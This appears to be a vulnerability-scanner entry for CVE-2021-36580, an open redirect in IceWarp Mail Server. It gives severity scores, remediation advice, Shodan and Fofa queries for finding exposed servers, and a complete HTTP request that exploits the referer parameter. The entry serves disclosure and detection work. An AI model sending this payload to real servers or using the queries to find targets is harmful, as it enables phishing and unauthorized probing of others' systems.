| Title | IceWarp Mail Server - Open Redirect |
|---|---|
| Author | DhiyaneshDk |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by IceWarp to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.096 |
| CVE ID | CVE-2021-36580 |
| CWE ID | CWE-601 |
| Shodan Query | title:"icewarp"http.title:"icewarp" |
| Fofa Query | title="icewarp" |
| Tags | cve2021 cve icewarp redirect vuln |
IceWarp Mail Server contains an open redirect via the referer parameter. This can lead to phishing attacks or other unintended redirects.
GET /webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password&_a%5bsignup%5d=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36580.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-36580.pcap
N/AN/A